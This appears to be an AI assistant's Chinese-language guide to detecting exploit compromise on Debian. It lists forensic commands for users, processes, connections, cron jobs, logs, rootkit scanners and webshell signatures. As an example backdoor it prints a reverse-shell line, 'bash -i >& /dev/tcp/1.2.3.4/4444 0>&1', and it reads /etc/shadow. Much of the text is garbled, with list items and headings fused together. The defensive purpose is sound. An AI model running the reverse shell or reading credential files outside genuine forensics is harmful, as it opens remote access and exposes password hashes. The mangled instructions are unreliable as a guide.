在 Debian 系统上“检测是否被 exploit(漏洞利用)入侵”,通常要结合系统日志、文件变化、网络连接、进程行为、后门特征等多维度排查。下面给你一套实用、可操作的检测流程(从快到细)。
cat /etc/passwd
cat /etc/shadow
重点关注:
0 的非 root 用户/tmp、/dev、/var 的用户awk -F: '$3==0 {print}' /etc/passwd
who
w
last
lastlog
异常点:
ps auxf
top
重点看:
a8f9d、xq1)httpd/nginx/php 但跑 shellss -antup
netstat -antup
关注:
ESTABLISHEDps aux | grep -E 'bash|sh|nc|python|perl' | grep -i socket
常见 exploit 后门:
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
ls -la /tmp /dev/shm /var/tmp
常见:
.so 劫持文件find / -mtime -7 -type f 2>/dev/null
重点关注:
/etc/usr/bin/usr/sbincrontab -l
ls -la /etc/cron*
systemctl list-timers
uname -a
cat /etc/os-release
apt list --upgradable
结合:
例如常见被 exploit 的:
dmesg | tail
journalctl -p err
可能看到:
segfaultexploitunable to handle kernelapt install rkhunter chkrootkit
rkhunter --check
chkrootkit
apt install aide
aideinit
apt install logwatch
logwatch --detail High
uploads / imgs / cache 目录grep -R "eval(" /var/www
grep -R "base64_decode" /var/www
.htaccess 是否被篡改如果你愿意,可以告诉我:
我可以帮你精准定位是哪一类 exploit。